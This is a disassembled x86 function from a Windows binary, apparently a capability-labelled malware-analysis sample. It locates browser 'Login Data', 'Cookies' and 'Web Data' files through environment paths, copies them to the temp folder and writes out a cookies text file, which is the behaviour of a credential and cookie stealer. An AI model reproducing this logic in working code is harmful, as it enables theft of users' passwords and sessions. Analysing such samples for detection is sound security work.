Function at 0x4033b8
Capabilities:
Copy file
Get common file path
Query environment variable

Disassembly:
push 0xdb0
mov eax, 0x4a12af
call fcn.0047ce8e
mov esi, edx
mov dword [ebp - 0xd0c], ecx
mov edi, dword [ebp + 8]
xor ebx, ebx
push 7
pop ecx
xor eax, eax
mov dword [ebp - 0xc7c], ebx
mov dword [ebp - 0xc78], ecx
mov word [ebp - 0xc8c], ax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc64], ebx
mov dword [ebp - 0xc60], ecx
mov word [ebp - 0xc74], ax
mov dword [ebp - 0xc4c], ebx
mov dword [ebp - 0xc48], ecx
mov word [ebp - 0xc5c], ax
push ebx
push 0x104
lea ecx, [ebp - 0xc8c]
mov byte [ebp - 4], 2
call fcn.00404fc6
mov eax, 0x104
lea ecx, [ebp - 0xc74]
cmp dword [ebp - 0xc64], eax
jb 0x403445
push eax
call fcn.00404f60
jmp 0x403452
sub eax, dword [ebp - 0xc64]
push ebx
push eax
call fcn.00404fc6
mov eax, 0x104
lea ecx, [ebp - 0xc5c]
cmp dword [ebp - 0xc4c], eax
jb 0x40346d
push eax
call fcn.00404f60
jmp 0x40347a
sub eax, dword [ebp - 0xc4c]
push ebx
push eax
call fcn.00404fc6
push 0x104
lea eax, [ebp - 0x21c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp dword [ebp - 0xc78], 8
lea ecx, [ebp - 0x21c]
push edi
push ecx
push str._wS_wSLogin_Data
lea eax, [ebp - 0xc8c]
mov esi, 0x104
cmovae eax, dword [ebp - 0xc8c]
push esi
push eax
call fcn.00401086
add esp, 0x14
lea ecx, [ebp - 0x21c]
cmp dword [ebp - 0xc60], 8
lea eax, [ebp - 0xc74]
cmovae eax, dword [ebp - 0xc74]
push edi
push ecx
push str._wS_wSCookies
push esi
push eax
call fcn.00401086
add esp, 0x14
lea ecx, [ebp - 0x21c]
cmp dword [ebp - 0xc48], 8
lea eax, [ebp - 0xc5c]
cmovae eax, dword [ebp - 0xc5c]
push edi
push ecx
push str._wS_wSWeb_Data
push esi
push eax
call fcn.00401086
add esp, 0x14
lea ecx, [ebp - 0xc8c]
cmp dword [ebp - 0xc78], 8
cmovae ecx, dword [ebp - 0xc8c]
call fcn.0040de9c
test al, al
je 0x4038e9
cmp dword [ebp - 0xc60], 8
lea ecx, [ebp - 0xc74]
cmovae ecx, dword [ebp - 0xc74]
call fcn.0040de9c
test al, al
je 0x4038e9
cmp dword [ebp - 0xc48], 8
lea ecx, [ebp - 0xc5c]
cmovae ecx, dword [ebp - 0xc5c]
call fcn.0040de9c
test al, al
je 0x4038e9
push ecx
push ecx
lea eax, [ebp - 0xca4]
push eax
lea ecx, [ebp - 0xc8c]
call fcn.004048bd
push eax
mov edx, str.localhostc_
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xcbc]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0xc8c]
cmp ecx, eax
je 0x4035bc
mov byte [ebp - 0xd08], bl
push dword [ebp - 0xd08]
push eax
call fcn.00405064
lea ecx, [ebp - 0xcbc]
call fcn.00404f32
lea ecx, [ebp - 0xca4]
mov byte [ebp - 4], 2
call fcn.00404f32
push ecx
push ecx
lea eax, [ebp - 0xcbc]
push eax
lea ecx, [ebp - 0xc74]
call fcn.004048bd
push eax
mov edx, str.localhostc_
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xca4]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0xc74]
cmp ecx, eax
je 0x40361c
mov byte [ebp - 0xd08], bl
push dword [ebp - 0xd08]
push eax
call fcn.00405064
lea ecx, [ebp - 0xca4]
call fcn.00404f32
lea ecx, [ebp - 0xcbc]
mov byte [ebp - 4], 2
call fcn.00404f32
push ecx
push ecx
lea eax, [ebp - 0xcbc]
push eax
lea ecx, [ebp - 0xc5c]
call fcn.004048bd
push eax
mov edx, str.localhostc_
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xca4]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0xc5c]
cmp ecx, eax
je 0x40367c
mov byte [ebp - 0xd08], bl
push dword [ebp - 0xd08]
push eax
call fcn.00405064
lea ecx, [ebp - 0xca4]
call fcn.00404f32
lea ecx, [ebp - 0xcbc]
mov byte [ebp - 4], 2
call fcn.00404f32
push 8
pop edx
push 4
pop ecx
call fcn.0040df4e
mov edx, eax
lea ecx, [ebp - 0xd04]
call fcn.004105fe
push 8
pop edx
push 4
pop ecx
mov byte [ebp - 4], 6
call fcn.0040df4e
mov edx, eax
lea ecx, [ebp - 0xcec]
call fcn.004105fe
push 8
pop edx
push 4
pop ecx
mov byte [ebp - 4], 7
call fcn.0040df4e
mov edx, eax
lea ecx, [ebp - 0xcd4]
call fcn.004105fe
lea eax, [ebp - 0x424]
mov byte [ebp - 4], 8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp dword [ebp - 0xcf0], 8
lea eax, [ebp - 0xd04]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineW]
cmovae eax, dword [ebp - 0xd04]
push eax
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x834]
push eax
call esi
cmp dword [ebp - 0xcd8], 8
lea eax, [ebp - 0xcec]
cmovae eax, dword [ebp - 0xcec]
push eax
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0xa3c]
push eax
call esi
cmp dword [ebp - 0xcc0], 8
lea eax, [ebp - 0xcd4]
cmovae eax, dword [ebp - 0xcd4]
push eax
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x62c]
push eax
call esi
cmp dword [ebp - 0xc78], 8
lea ecx, [ebp - 0x834]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0xc8c]
cmovae eax, dword [ebp - 0xc8c]
push ebx
push ecx
push eax
call esi
cmp dword [ebp - 0xc60], 8
lea eax, [ebp - 0xc74]
push ebx
cmovae eax, dword [ebp - 0xc74]
lea ecx, [ebp - 0xa3c]
push ecx
push eax
call esi
cmp dword [ebp - 0xc48], 8
lea ecx, [ebp - 0x62c]
push ebx
lea eax, [ebp - 0xc5c]
cmovae eax, dword [ebp - 0xc5c]
push ecx
push eax
call esi
mov ebx, dword [ebp - 0xd0c]
lea ecx, [ebp - 0x834]
push edi
mov edx, ebx
call fcn.00402867
push ecx
lea ecx, [ebp - 0xdbc]
call fcn.004041e9
lea edx, [ebp - 0xdbc]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xa3c]
call fcn.00402a6a
lea eax, [ebp - 0xca4]
push eax
lea ecx, [ebp - 0xdbc]
call fcn.00404140
lea ecx, [ebp - 0xca4]
mov esi, dword [eax + 0x10]
call fcn.0040508d
test esi, esi
je 0x4038a5
push edi
push ebx
push str._Cookies_s__s.txt
lea eax, [ebp - 0xc44]
push 0x104
push eax
call fcn.0040564d
add esp, 0x14
lea eax, [ebp - 0xcbc]
lea ecx, [ebp - 0xdbc]
push eax
call fcn.00404140
mov esi, eax
lea eax, [ebp - 0xca4]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0xdbc]
call fcn.00404140
mov byte [ebp - 4], 0xb
cmp dword [eax + 0x14], 0x10
jb 0x40387a
mov eax, dword [eax]
push dword [esi + 0x10]
lea edx, [ebp - 0xc44]
push eax
call fcn.004660ee
pop ecx
pop ecx
lea ecx, [ebp - 0xca4]
call fcn.0040508d
lea ecx, [ebp - 0xcbc]
mov byte [ebp - 4], 9
call fcn.0040508d
lea ecx, [ebp - 0x62c]
call fcn.0040271d
lea ecx, [ebp - 0x62c]
call fcn.00402b9b
lea ecx, [ebp - 0xdbc]
mov bl, 1
call fcn.004024a2
lea ecx, [ebp - 0xcd4]
call fcn.00404f32
lea ecx, [ebp - 0xcec]
call fcn.00404f32
lea ecx, [ebp - 0xd04]
call fcn.00404f32
lea ecx, [ebp - 0xc5c]
call fcn.00404f32
lea ecx, [ebp - 0xc74]
call fcn.00404f32
lea ecx, [ebp - 0xc8c]
call fcn.00404f32
mov al, bl
call fcn.0047ce49
ret